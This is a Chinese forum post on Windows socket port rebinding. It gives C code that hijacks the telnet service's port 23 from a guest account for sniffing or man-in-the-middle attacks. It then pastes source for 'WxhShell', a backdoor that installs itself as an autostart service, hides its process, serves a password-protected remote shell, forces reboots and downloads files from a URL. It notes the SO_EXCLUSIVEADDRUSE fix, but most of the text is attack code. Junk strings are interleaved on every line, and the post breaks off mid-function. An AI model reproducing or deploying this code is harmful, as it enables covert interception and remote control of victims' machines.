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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ki}Li*)7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DfU= i'R  
.Ln98#ZR  
  saddr.sin_family = AF_INET; r..f$FF)\  
wtfH3v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *JZ9'|v_H  
S.`hl/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z C$F@  
F(Zf=$cx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iPY)Ew`Im  
]dl.~;3~~  
  这意味着什么?意味着可以进行如下的攻击: "#gS?aS  
Z__fwv.X[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {QmK4(k?|c  
*93=}1gN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;$1x_ Cb  
2A =Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X[dH*PV  
P*>?/I`G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fVa z'R  
[\ Sd*-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e-UWbn'~  
  )*6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1JdMw$H  
~Ym*QSD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]bmf}&  
0%;| B  
  #include UWhHzLcXh  
  #include `F1Yfm jZT  
  #include yS:w>xU @<  
  #include    :w Y%=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )c1Pj#|  
  int main() py':36'  
  { u rQvJ  
  WORD wVersionRequested; ]Ol w6W?%  
  DWORD ret; 6(t'B!x  
  WSADATA wsaData; CS*lk!C  
  BOOL val; uOKD#   
  SOCKADDR_IN saddr; bG*l_  
  SOCKADDR_IN scaddr; ^&y*=6C  
  int err; bivo7_  
  SOCKET s; J}4RJ9  
  SOCKET sc; &'i>d&  
  int caddsize; p\#;(pf}s  
  HANDLE mt; 'rFLG+W  
  DWORD tid;   ]TUoXU2<x  
  wVersionRequested = MAKEWORD( 2, 2 ); /X0<2&v  
  err = WSAStartup( wVersionRequested, &wsaData ); l x0BKD?n  
  if ( err != 0 ) { <^Y #q  
  printf("error!WSAStartup failed!\n"); ;"e55|d9I  
  return -1; b"}ya/  
  } IG;= |  
  saddr.sin_family = AF_INET; Oml3=TV  
   [T)>RF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >Wx9a"H^(  
`mYp?N jR_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LkK[,Qj  
  saddr.sin_port = htons(23); 4T"L#o1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r8N)]Hs ZH  
  { )ezkp%I5D  
  printf("error!socket failed!\n"); *%_M?^  
  return -1; Xkx&'/QG,U  
  } \>EUa}%xn  
  val = TRUE; g2}aEfp!H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v;g,qO!LJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qz Hsqlof  
  { RtxAIMzh?  
  printf("error!setsockopt failed!\n");  ]SL+ZT  
  return -1; /:BC<]s  
  } Uvi@HB HJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )' ,dP)b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -`Zk`s|!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =%>E8)Jb  
<&B] p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rf>V]R  
  { =z<sx2#*  
  ret=GetLastError(); [xGL0Z%)t  
  printf("error!bind failed!\n"); ^ yF Wvfh4  
  return -1; :x3DuQP  
  } tpeMq -  
  listen(s,2); {- MhhRa5  
  while(1) @Xh8kvc81  
  { ,O^kZ}b  
  caddsize = sizeof(scaddr); -)bu&  
  //接受连接请求 (5y*Btd=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;F71f#iY  
  if(sc!=INVALID_SOCKET) 9WQ'"wyAQ  
  { ~j!|(a7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6 W$m,3Dg  
  if(mt==NULL) Sn.I{~  
  { UN^M.lqZX  
  printf("Thread Creat Failed!\n"); _x`:Ne?  
  break; -%[6q  
  } U}=H1f,  
  } M3GFKWQI,`  
  CloseHandle(mt); 6OQ\f,h@  
  } (f#{<^gd  
  closesocket(s); )^ )|b5,  
  WSACleanup(); ;D4 bxz0ou  
  return 0; (V/! 0Lj  
  }   I3l1 _  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hb^ovc0   
  { mryT%zSlM  
  SOCKET ss = (SOCKET)lpParam; abEdZ)$  
  SOCKET sc; z!~{3M  
  unsigned char buf[4096]; }y*rO(cu7G  
  SOCKADDR_IN saddr; ?ia O6HD  
  long num; N a.e1A&?j  
  DWORD val; uIJ zz4  
  DWORD ret; ?4Zo0DiUB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,? &$ c+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1ahb:Mjv  
  saddr.sin_family = AF_INET; XFww|SG$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $uK[[k~=S  
  saddr.sin_port = htons(23); E`iE]O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lx82:_  
  { y] $- :^  
  printf("error!socket failed!\n"); ,qdZ6bv,]|  
  return -1; H a`V"X{}  
  } f-}_  
  val = 100; >Y:veEa6v6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (1Jc-`  
  { KDDx[]1Q  
  ret = GetLastError(); 0=OvVU;P  
  return -1; Ftu d6  
  } o 7&q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f_QZ ql  
  { HNfd[#gV  
  ret = GetLastError(); J'lqHf$T  
  return -1; HuD~(CI.  
  } *NI hYg6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5*$z4O:Aa  
  { [{+ZQd  
  printf("error!socket connect failed!\n"); #Z_f/@b  
  closesocket(sc); ADA*w 1  
  closesocket(ss); oR<;Tr~{q  
  return -1; -$D#u  
  } 7{f{SIB  
  while(1) (*!4O>]  
  { qKuHd~M{ 1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $I\lJ8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  <>=abgg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 twPD'X!r  
  num = recv(ss,buf,4096,0); TiI3<.a!  
  if(num>0) .ldBl  
  send(sc,buf,num,0); @#5?tk0  
  else if(num==0) (G{2ec:?  
  break; ~$ 4!C'0  
  num = recv(sc,buf,4096,0); v%Su#xq/  
  if(num>0) T@N)BfkB  
  send(ss,buf,num,0); qNbgN{4  
  else if(num==0) Ymg,NkiP0  
  break; i$'#7U  
  } ogE|8`Tq^  
  closesocket(ss); M j |"+(  
  closesocket(sc); : DBJ2n  
  return 0 ; 8PW3x-+  
  } sH)40QmO{  
]LSlo593  
0 9*?'^s4  
========================================================== mC`U"rlK~  
y@]:7  
下边附上一个代码,,WXhSHELL G\S_e7$ /  
rJcZ a#  
========================================================== t-J\j"~%+  
]B-3Lh  
#include "stdafx.h" \MmKz^tO  
p!cNn7{;  
#include <stdio.h> st(Y{Gs  
#include <string.h> to'O;f">n  
#include <windows.h> D?? \H\  
#include <winsock2.h> CK} _xq2b  
#include <winsvc.h> aw'o=/a8  
#include <urlmon.h> bRc~e@  
[Z+E_Lbz  
#pragma comment (lib, "Ws2_32.lib") (0bXsfe  
#pragma comment (lib, "urlmon.lib") @LDu08lr  
}F)eA1  
#define MAX_USER   100 // 最大客户端连接数 ~^"s.Lsb  
#define BUF_SOCK   200 // sock buffer dw< b}2  
#define KEY_BUFF   255 // 输入 buffer !tv+,l&L  
0[SrRpD  
#define REBOOT     0   // 重启 BQ77 n2(@  
#define SHUTDOWN   1   // 关机 tumYZ)nW  
i.>d#S  
#define DEF_PORT   5000 // 监听端口 5!^?H"#c  
o_%gFV[q  
#define REG_LEN     16   // 注册表键长度 'tzN.p1O  
#define SVC_LEN     80   // NT服务名长度 Q!}LtR$  
l#%G~c8x  
// 从dll定义API *Y9'tHI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MG0d&[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]AdL   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5B+I\f&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q#1Cm Kt4R  
zvP>8[   
// wxhshell配置信息 wE09%  
struct WSCFG { zRF +D+  
  int ws_port;         // 监听端口 $8Y|& P  
  char ws_passstr[REG_LEN]; // 口令 u-#J!Z<T8  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Mufo.Jz1o  
  char ws_regname[REG_LEN]; // 注册表键名 I)cA:Ip  
  char ws_svcname[REG_LEN]; // 服务名 PsoW:t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ++M%PF [ {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z"g6z#L&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bjGQ04da  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1 gx(L*y,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {'eF;!!Dy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7W\aX*]  
m^ [VM&%  
}; S?LUSb  
e.pq6D5  
// default Wxhshell configuration i?pC[Ao-_  
struct WSCFG wscfg={DEF_PORT, #_[W*-|L  
    "xuhuanlingzhe", RiM!LX  
    1, 8qQrJFm|3*  
    "Wxhshell", +%RB&:K7,  
    "Wxhshell", @)p?!3{"  
            "WxhShell Service", O_ /|Wx  
    "Wrsky Windows CmdShell Service", ~l>2NY  
    "Please Input Your Password: ", gpzZs<ST  
  1, SI@Yct]<g  
  "http://www.wrsky.com/wxhshell.exe", 9q f=P3  
  "Wxhshell.exe" 9Kd:7@U  
    }; s~MCt|a  
Hs6}~d  
// 消息定义模块 B#;0{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; joJ:* oL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7F D.3/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p*S;4+>#  
char *msg_ws_ext="\n\rExit."; Z:s:NvFX  
char *msg_ws_end="\n\rQuit."; 2XGbqZj  
char *msg_ws_boot="\n\rReboot..."; i5^U1K\M  
char *msg_ws_poff="\n\rShutdown..."; 0}y-DCuQ  
char *msg_ws_down="\n\rSave to "; @jevY81)  
%oEvp{I  
char *msg_ws_err="\n\rErr!"; aXO|% qX  
char *msg_ws_ok="\n\rOK!"; /0I=?+QSo  
~`Xu 6+1o  
char ExeFile[MAX_PATH]; \mp5G&+/Q  
int nUser = 0; [xsiSt?6  
HANDLE handles[MAX_USER]; u9R:2ah&K  
int OsIsNt; 4Z<  
y1 53ax  
SERVICE_STATUS       serviceStatus; qJrMr4:F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X-=J7G`\h#  
1(12`3  
// 函数声明 v&*}O  
int Install(void); %R [X_n=  
int Uninstall(void); 9,zM.g9Qv  
int DownloadFile(char *sURL, SOCKET wsh); d9sqO9Ud8  
int Boot(int flag); t.E3Fh!o  
void HideProc(void); bZsg7[: C  
int GetOsVer(void); z@n779i  
int Wxhshell(SOCKET wsl); !u=,bfyH  
void TalkWithClient(void *cs); =3?"s(9  
int CmdShell(SOCKET sock); =c(3EI'w  
int StartFromService(void); P",E/beV  
int StartWxhshell(LPSTR lpCmdLine); 2DbM48\E  
;NzS;C'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); trC+Etc   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y()Si\9v  
o{&UT VyGs  
// 数据结构和表定义 PofHe  
SERVICE_TABLE_ENTRY DispatchTable[] = 'uOzC"_yF  
{ \4e6\6 +  
{wscfg.ws_svcname, NTServiceMain}, HfgK0wIi  
{NULL, NULL} Bpw<{U  
}; ,"W.A  
hPHrq{YZ  
// 自我安装 Du2v,n5@  
int Install(void) !HP/`R  
{ vAMr&[  
  char svExeFile[MAX_PATH]; j L[ hB  
  HKEY key; Y2,\WKa  
  strcpy(svExeFile,ExeFile); $"&U%3  
HGjGV]N5  
// 如果是win9x系统,修改注册表设为自启动 cWA$O*A  
if(!OsIsNt) { E@F:U*A6%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xz$S5tgDQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `e!hT@Xxa  
  RegCloseKey(key); 2dF:;k k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%.Dj H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b|HH9\  
  RegCloseKey(key); [d_sd  
  return 0; axW4 cS ?  
    } hj.Du+1  
  } sR1 &2hB  
} Z|kMoB  
else { >O{/%(9  
?)~j>1"S  
// 如果是NT以上系统,安装为系统服务 GCgpe(cQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G$D6#/rR  
if (schSCManager!=0) 4U*uH  
{ hsUP5_  
  SC_HANDLE schService = CreateService E0i_sB~T  
  ( ;|Ja|@82  
  schSCManager, tyLR_@i%%  
  wscfg.ws_svcname, \#A=twp  
  wscfg.ws_svcdisp, P00pSRQHD  
  SERVICE_ALL_ACCESS, K{&b "Ba1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xkv+"F=-  
  SERVICE_AUTO_START, Q b|.;_  
  SERVICE_ERROR_NORMAL, ymsqJ   
  svExeFile, Mwdw7MZ"S  
  NULL, A<&:-Zz  
  NULL, D?w-uR%Y  
  NULL, 2F[;Z*&  
  NULL, V!S B9t`E  
  NULL Z)U#5|sf  
  ); ;')T}wuq  
  if (schService!=0) _ z!0ab  
  { 'd"\h#  
  CloseServiceHandle(schService); '7<@(HO  
  CloseServiceHandle(schSCManager); ,Wp0,>!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j{nkus2  
  strcat(svExeFile,wscfg.ws_svcname); kPVP+}cA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { diLjUC`69  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,QpDz{8  
  RegCloseKey(key); d\ &jl`8*  
  return 0; O;A/(lPW+  
    } ]rh)AE!Y(  
  } lE54RX}e4  
  CloseServiceHandle(schSCManager); ?ExfxR!~  
} T'*.LpNP,  
} T_}\  
vR?L/G^.  
return 1; Z6b3gV  
} X |f'e@  
.~5cNu'#m  
// 自我卸载 -BV&u(  
int Uninstall(void) g(:y_EpmLH  
{ B%Yb+M&K  
  HKEY key; N[}XLhbt  
V,uhBMT#  
if(!OsIsNt) { _W: S>ij(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TBQ`:`g^m  
  RegDeleteValue(key,wscfg.ws_regname); rrSA.J{  
  RegCloseKey(key); RU `TzD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  FFgy=F  
  RegDeleteValue(key,wscfg.ws_regname); ^3`98y.Q  
  RegCloseKey(key); s 8``U~D   
  return 0; ^}8_tZs8\  
  } f ( `.q  
} U6=m4]~Z  
} )_EobE\  
else { 0nAeeVz|  
Iw"?%k\U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H[x9 7r  
if (schSCManager!=0) ji( S ?^  
{ D0QXvrf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .)Se-'  
  if (schService!=0) r _r$nl  
  { q9Y0Lk  
  if(DeleteService(schService)!=0) { U hCd,  
  CloseServiceHandle(schService); E"Xi  
  CloseServiceHandle(schSCManager); ,ASY &J5)7  
  return 0; =]E1T8|  
  } 4PUM.%  
  CloseServiceHandle(schService); T6H"ER$  
  } iA ZtV'VQ)  
  CloseServiceHandle(schSCManager); vS<;:3  
} q0y?$XS  
} /KKX;L[D(  
v *:m|wl  
return 1; ecf7g)+C  
} xDr *|d  
1'_OM h*;  
// 从指定url下载文件 t*Q12Q  
int DownloadFile(char *sURL, SOCKET wsh) fWm;cDM H  
{ wq]nz!  
  HRESULT hr; y i@61XI  
char seps[]= "/"; dl{3fldb  
char *token; v2@M,xbxF:  
char *file; V43JY_:  
char myURL[MAX_PATH]; C-6+ZIk4  
char myFILE[MAX_PATH]; `%ymg8^  
0/KNXz  
strcpy(myURL,sURL); &U 'Ds!  
  token=strtok(myURL,seps); g1J]z<&  
  while(token!=NULL) f\(Kou$  
  { jv0e&rt  
    file=token; P6=|C;[  
  token=strtok(NULL,seps); >Ft jrEB  
  } `Ze fSmb  
FpRK^MEkG  
GetCurrentDirectory(MAX_PATH,myFILE); #3CA  
strcat(myFILE, "\\"); hV8A<VT  
strcat(myFILE, file); Pq4sv`q)S  
  send(wsh,myFILE,strlen(myFILE),0); SyYa_=En  
send(wsh,"...",3,0); _ve7Is`/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -`?V8OwY]  
  if(hr==S_OK) d'-^ VxO0  
return 0; F37,u|  
else <I|ryPU9{X  
return 1; jA]xpf6}  
v5$zz w  
} A`r&"i OKA  
Y2$ % %@  
// 系统电源模块 3]VTQl{P  
int Boot(int flag)  b'{D4/  
{ P7Y[?='v  
  HANDLE hToken; \|&5eeE@  
  TOKEN_PRIVILEGES tkp; )O&$-4gL'  
U&eLj"XZ  
  if(OsIsNt) { zR<jZwo]#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :e9E#o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [w4z)!  
    tkp.PrivilegeCount = 1; pI^n("|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WD)[Ac[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ql V:8:H$  
if(flag==REBOOT) { er<~dqZ}]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (Pu*[STTT  
  return 0; G/`_$ c  
} XnG!T$  
else { 7PvuKAv?k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [wOO)FjT  
  return 0; 54)}^ftY^  
} g{a0,B/j  
  } uIPR*9~6o  
  else { p{U8z\  
if(flag==REBOOT) { 9%dNktt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z2@&4_P  
  return 0; QDDSJ>l5_T  
} kB:R- St  
else { eeX>SL5'i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IWQ8e$N  
  return 0; DuFlN1Z  
} JL$RBr  
} l:[=M:#p  
N!va12  
return 1; G dooy~cn  
} < <xJ-N  
e'?(`yW>  
// win9x进程隐藏模块 {oZ]1Qf_  
void HideProc(void) KVntBe]I  
{ NSkI2>+P  
P6?Q;-\q0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w7W-=\Hvh  
  if ( hKernel != NULL ) #nd,cn  
  { _8`|KY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X3>(K1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bC{~/ JP  
    FreeLibrary(hKernel); ?:2Xh/8-  
  } doa$ ;=wg  
Q7s1M&K  
return; {%$=^XO  
} mU_O64  
8L@di  Y  
// 获取操作系统版本 xphqgOc12,  
int GetOsVer(void) qnlj~]NV  
{ npF[J x[  
  OSVERSIONINFO winfo; f0uiNy(r$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^m7PXY  
  GetVersionEx(&winfo); ,s)H%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -Z@ p   
  return 1; O| 2Q- @D  
  else iOyYf!yg  
  return 0; t&oNJq{  
} l%IOdco#  
E5 dXu5+ye  
// 客户端句柄模块 (o|E@d  
int Wxhshell(SOCKET wsl) 'K!kJ9oqe  
{ )>/c/ B  
  SOCKET wsh; OwEz( pj@  
  struct sockaddr_in client; oMVwId f  
  DWORD myID; j{PX ~/  
:8ZxOwwv  
  while(nUser<MAX_USER) Y `{U45  
{ q}!4b'z^  
  int nSize=sizeof(client); 6IX!9I\sT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7-dwr?j7  
  if(wsh==INVALID_SOCKET) return 1; BAhC-;B#R  
M Q6Y^,B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,y>Na{@Y  
if(handles[nUser]==0) @K/I a!Lw  
  closesocket(wsh); xI@~Ig  
else d.Z]R&X08  
  nUser++; r~TT c)2  
  } MXy{]o_H~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aI<~+]  
1gE`_%?K  
  return 0; bm4W,  
} 1mX*0>  
1 W0;YcT]  
// 关闭 socket 0D'Wr(U(  
void CloseIt(SOCKET wsh) TU/J]'))C  
{ aPC!M4#  
closesocket(wsh); ~g{,W  
nUser--; )=D&NO67Pq  
ExitThread(0); b>i=",i\  
} -: ,h8JyMP  
r>Ln*R,9D  
// 客户端请求句柄 I?>#neHc6  
void TalkWithClient(void *cs) <%z/6I Af|  
{ B4}XK =)  
q :bKT#\  
  SOCKET wsh=(SOCKET)cs; c&++[  
  char pwd[SVC_LEN]; (yP55PC O$  
  char cmd[KEY_BUFF]; .bE,Q9:  
char chr[1]; ?@1'WD t  
int i,j; p[b\x_0%c  
ZYA(Bg^  
  while (nUser < MAX_USER) { +RkYW*|$S  
H[D/Sz5`  
if(wscfg.ws_passstr) { ]c)SVn$6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BGX@n#:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]I?vyQ#V  
  //ZeroMemory(pwd,KEY_BUFF); )hug<D *h  
      i=0; #*!$!c{  
  while(i<SVC_LEN) { OL rD4 e  
9zJ`;1  
  // 设置超时 %\l,X{X  
  fd_set FdRead; L3AwL)I   
  struct timeval TimeOut; zqh{=&Tjx  
  FD_ZERO(&FdRead); Db=gS=Qm  
  FD_SET(wsh,&FdRead); gnXjd}  
  TimeOut.tv_sec=8; V5B-S.i@  
  TimeOut.tv_usec=0; {Fi@|'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :j ~5(K"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7mM;Q  
O[ !o1.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %U GlAyj  
  pwd=chr[0]; vNC0M:p,  
  if(chr[0]==0xd || chr[0]==0xa) { ]D%k)<YK  
  pwd=0; N-gRfra+8L  
  break; 6<Z: Xw  
  } [fp"MPP3  
  i++; blcKtrYg  
    } vgj^-  
lQBM0|n  
  // 如果是非法用户,关闭 socket Gq*)]X{U a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j;)g+9`  
} ^%&x{F.  
%K"%Qm=Tl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F-^HN%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `VtwKt*  
<+gl"lG  
while(1) { ` a>vPW  
v=tj.Vg  
  ZeroMemory(cmd,KEY_BUFF); ozC!q)j  
M N#C2 qz  
      // 自动支持客户端 telnet标准   bSf(DSqx  
  j=0; Zjg\jo  
  while(j<KEY_BUFF) { |a{]P=<q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6>:~?gs  
  cmd[j]=chr[0]; "Vq]|j,B/c  
  if(chr[0]==0xa || chr[0]==0xd) { (:QQ7xc{}  
  cmd[j]=0; n*Vd<m;w  
  break; +5[oY,^cO  
  } -kbm$~P  
  j++; }4SSo)Uv/  
    } t1jlxK  
ht)nx,e=  
  // 下载文件 m>ycN  
  if(strstr(cmd,"http://")) { s&hA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S |>$0P4W(  
  if(DownloadFile(cmd,wsh))  7E`(8i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5L}>+js2  
  else 5lnSa+_/f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJ!-hg4?]  
  } ).C!  
  else { Wk\@n+Q {]  
^Pd3 7&B4V  
    switch(cmd[0]) { WEtA4zCO  
  8e!DDh  
  // 帮助 Reu{   
  case '?': { T:dm0iau  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _AYC|R|  
    break; EWIc|b:  
  } 3]<re{)J9O  
  // 安装 *frJ^ Ws{  
  case 'i': { S9R]Zl7{-  
    if(Install()) k0_$M{@Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >}b6J7_  
    else IzdTXc f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tRnW%F5  
    break; {Y91vXTz7  
    } 6@q[tN7_^  
  // 卸载 oL'1Gm@X?  
  case 'r': { .3<IOtD=  
    if(Uninstall()) Jh4&Qh|t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;MjO*-  
    else 0^_lj9B!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EB5_;  
    break; Hpi%9SAM  
    } `n`"g<K)Q  
  // 显示 wxhshell 所在路径 'd #\7J>d  
  case 'p': { _/}Hqh  
    char svExeFile[MAX_PATH]; & 8' (  
    strcpy(svExeFile,"\n\r"); BwJ^_:(p~  
      strcat(svExeFile,ExeFile); b/B`&CIA0"  
        send(wsh,svExeFile,strlen(svExeFile),0); Y^2Qxo3"3  
    break; u:$x6/t  
    } j- YJ."  
  // 重启 a4( ?]ND~6  
  case 'b': { rS )b1nPA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F`0c?)  
    if(Boot(REBOOT)) ge):<k_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {^2W>^  
    else { f{Fe+iPc  
    closesocket(wsh); 'B (eMnLg  
    ExitThread(0); LuP?$~z  
    } hiRR+`L%  
    break; cZr G:\A  
    } Vp $wHB&  
  // 关机 ;DD>k bd  
  case 'd': { Q_aqX(ig  
